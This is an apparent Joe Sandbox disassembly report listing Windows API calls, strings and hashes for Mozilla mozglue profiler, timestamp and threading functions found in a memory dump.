GetCurrentThreadId.KERNEL32 ref: 6C5EF739
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF746
GetCurrentThreadId.KERNEL32 ref: 6C5EF793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C62385B,00000002,?,?,?,?,?), ref: 6C5EF829
free.MOZGLUE(?,?,00000000,?), ref: 6C5EF84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C5EF866
free.MOZGLUE(?), ref: 6C5EFA0C

Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C
Part of subcall function 6C5B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
Part of subcall function 6C5B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F53
Part of subcall function 6C5B5E60: GetCurrentThread.KERNEL32 ref: 6C5B5F5C
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F66
Part of subcall function 6C5B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E

free.MOZGLUE(?), ref: 6C5EF9C5
free.MOZGLUE(?), ref: 6C5EF9DA

Strings

" attempted to re-register as ", xrefs: 6C5EF858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C5EF71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5EF9A6
Thread , xrefs: 6C5EF789

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction ID: 488dc76d27e11a44d6bbb42f8ababecb44f75b6518541091df13282c4ebfe0a9
Opcode Fuzzy Hash: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction Fuzzy Hash: 22811371A04200DFDB00DF65DC80AAEB7B5EFC9308F40456DE8869BB51EB34AC49CB92

Function 6C5EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEE60
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EEEA5
CloseHandle.KERNEL32(?), ref: 6C5EEEB4
free.MOZGLUE(00000000), ref: 6C5EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEECF

Part of subcall function 6C5EDE60: GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
Part of subcall function 6C5EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B
Part of subcall function 6C5EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
Part of subcall function 6C5EDE60: free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
Part of subcall function 6C5EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5EEF1E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF59
GetCurrentThreadId.KERNEL32 ref: 6C5EEFB0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF000

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF02F

Part of subcall function 6C5EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C5EEED7
[I %d/%d] profiler_pause, xrefs: 6C5EF008

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction ID: 172177a8a43190cfbaa3514cbc59d34977cd7b9451b6a9ebd098c94da342b9c6
Opcode Fuzzy Hash: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction Fuzzy Hash: 1D51FA71600220DFDB009F66DC88B9577B8EF8A358F100A25ED2683B41DBBD5805CBAF

Function 6C5B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5B6017

Part of subcall function 6C5A4310: moz_xmalloc.MOZGLUE(00000010,?,6C5A42D2), ref: 6C5A436A
Part of subcall function 6C5A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A42D2), ref: 6C5A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
GetCurrentProcess.KERNEL32 ref: 6C5B5F53
GetCurrentThread.KERNEL32 ref: 6C5B5F5C
GetCurrentProcess.KERNEL32 ref: 6C5B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B60CC

Strings

GeckoMain, xrefs: 6C5B5ECE, 6C5B6015

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction ID: 9686039008196e16fdede45e9eb6a355864f811db17045e49d1cdd61a471e426
Opcode Fuzzy Hash: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction Fuzzy Hash: A871CFB0A04740DFD704DF29C890A6ABBF0FF8A304F54496DE58697B42DB75E848CB96

Function 6C5B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5A3217
Part of subcall function 6C5A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5A3236
Part of subcall function 6C5A31C0: FreeLibrary.KERNEL32 ref: 6C5A324B
Part of subcall function 6C5A31C0: __Init_thread_footer.LIBCMT ref: 6C5A3260
Part of subcall function 6C5A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5A327F
Part of subcall function 6C5A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A328E
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32AB
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32D1
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A32E5
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

ntdll.dll, xrefs: 6C5B96E3
MapViewOfFileNuma2, xrefs: 6C5B97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
NtMapViewOfSection, xrefs: 6C5B9701

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction ID: d55b47565fee14a58791fc922627726d36049c56a61cbc801af5ab2cdb497dc1
Opcode Fuzzy Hash: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction Fuzzy Hash: CE61D371600311DBDF00CF6AECE4B9A7FB1EB8A314F104529E995A7780D738A845CF9A

Function 6C606660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606694
GetThreadId.KERNEL32(?), ref: 6C6066B1
GetCurrentThreadId.KERNEL32 ref: 6C6066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6066E1
EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606734
GetCurrentProcess.KERNEL32 ref: 6C60673A
LeaveCriticalSection.KERNEL32(6C62F618), ref: 6C60676C
GetCurrentThread.KERNEL32 ref: 6C6067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C606868
RtlCaptureContext.NTDLL ref: 6C60687F

Strings

WalkStack64, xrefs: 6C606890

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction ID: 2e30eb97275442ed5e4bae0b4d3720e09072db7c547d5cf06e448291e5cb3795
Opcode Fuzzy Hash: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction Fuzzy Hash: 4251DD71A09300AFD715CF25C984B9ABBF4FF89714F00492DF999A7640D774E848CB9A

Function 6C5EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
GetCurrentThreadId.KERNEL32 ref: 6C5EDF7D
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDF8A
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5EE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C5EDE83
<none>, xrefs: 6C5EDFD7

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction ID: 3e2b67d5da2fc55c59b8306ab98f0e3f3a857da6d6d28b4699875a0216e51dc2
Opcode Fuzzy Hash: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction Fuzzy Hash: B841E571B012209BDB109F66CC88BAA7775EFC9318F140015E91597B02CB79AC05CBEA

Function 6C5FD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD52A
GetCurrentThreadId.KERNEL32 ref: 6C5FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD55F
free.MOZGLUE(00000000), ref: 6C5FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD652
GetCurrentThreadId.KERNEL32 ref: 6C5FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD6A2

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction ID: bd0a2a167f11c15bff91ecacebe5fd50ffbe98bd5735a06bc675e3bb5e177760
Opcode Fuzzy Hash: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction Fuzzy Hash: 97516B71604705DFC704DF35C888A9ABBF4FF89358F108A2EE85A87711DB34A94ACB95

Function 6C5A1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EC1
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EE1
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F38
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5A1F83
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FC0
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FE2
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A2019

Strings

Dbl, xrefs: 6C5A1F32
MOZ_CRASH(), xrefs: 6C5A2000
\bl, xrefs: 6C5A1F3E
Dbl, xrefs: 6C5A1F56

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dbl$Dbl$MOZ_CRASH()$\bl
API String ID: 2055633661-2003662670
Opcode ID: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction ID: 4e0ba75fd7903f07b1a281ca017b0d8d97a2916a52963529a28721669fbcd374
Opcode Fuzzy Hash: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction Fuzzy Hash: A041C171B003158BDF009FBACC84BAE7AB5FB8A389F010035E94597B40D7799805CBE9

Function 6C5C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C57BC
GetTickCount64.KERNEL32 ref: 6C5C58CB
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C58F3
__aulldiv.LIBCMT ref: 6C5C5945
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C62F638,?,?,?,?), ref: 6C5C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5C56CC

Memory Dump Source

Source File: 00000000.00000002.2401711248.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2401678709.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849751.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401890239.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction ID: 5d4250336862ad32119328bf52f3b7aa0fa4f5b3f69c3764172ffaa5b9fdd3ff
Opcode Fuzzy Hash: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
